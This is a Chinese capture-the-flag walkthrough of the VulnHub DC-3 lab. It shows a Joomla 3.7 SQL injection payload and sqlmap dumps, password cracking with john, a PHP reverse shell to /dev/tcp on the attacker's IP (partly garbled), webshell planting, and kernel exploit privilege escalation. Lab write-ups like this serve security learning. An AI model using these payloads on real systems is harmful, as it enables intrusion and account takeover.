DC-3
环境搭建
(为了方便,两台机器都设置为NAT,靶机记得获取MAC)
靶机下载地址:https://www.vulnhub.com/entry/dc-32,312/
目标:root目录下的flag
信息收集
nmap扫描,得到靶机的ip,开放了80端口,可以访问nhttp服务,而且还扫描出了网站的后台是Joomla的cms系统
访问http服务,提示靶场中只有一个flag,但是要得到root权限才可以。
因为是joomla的cms系统,所以可以用扫描工具joomscan来探测信息
我这里用的是whatweb效果也是一样,这里直接借用网上的图
1 | joomscan工具安装: |
还可以使用nmap来探测
扫描出joomla的版本为3.7,存在有一个cve-2017-8917的漏洞(利用该漏洞攻击者可以在未授权的情况下进行SQL注入攻击)
可以使用searchsploit来查找对应版本有一个sql注入
searchsploit Joomla 3.7.0
漏洞利用
1 | http://你的 IP 地址:端口号/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1) |
爆数据库名
1 | sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --dbs --batch |
爆表名,发现有张#_users表
1 | sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables --batch |
爆字段,无法获取字段名
1 | sqlmap -u "http://192.168.0.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" -C name,password --dump --batch |
把爆出来的hash值放在一个新建的hash.txt文件中,然后使用john来获取明文密码为:snoopy
1 | john hash.txt |
登录后台
访问我们信息收集到的网站的后台:http://ip:port/administrator
我的为:http:192.168.0.106:80/administrator 成功登录
getshell
在Templates模版设置中,可以编辑这些php文件,然后从外部访问。
在任意一个php文件中插入木马都可以
方式1:直接插入反弹shell的语句
在模版中添加反弹php的shell的语句,然后监听就可以
& /dev/tcp/kali的ip/4444 0>&1' "); ?>& /dev/tcp/192.168.0.114/4444 0>&1' "); ?>在kali中设置好监听窗口,然后在浏览器访问:192.168.0.106/templates/beez3/error.php,反弹shell
方式2、直接插入一句话木马
直接插入php一句话木马,使用蚁剑连接成功
方式3、插入冰蝎的木马
冰蝎默认的php木马
成功getshell
提权
可以不是root权限
执行uname -a查看内核版本,靶场环境系统为ubuntu 16.04
可以不是root权限
执行uname -a查看内核版本,靶场环境系统为ubuntu 16.04
查看漏洞介绍
1 | cat /usr/share/exploitdb/exploits/linux/local/39772.txt |
下载exp,使用刚才的蚁剑获得的权限将其上传
解压运行,成功提权
1 | unzip 39772.zip |
查看flag
知识点总结
1、可以了解一下Joomla
2、joomscan扫描工具的使用
3、cve-2017-8917漏洞的利用
4、利用linux的内核漏洞进行提权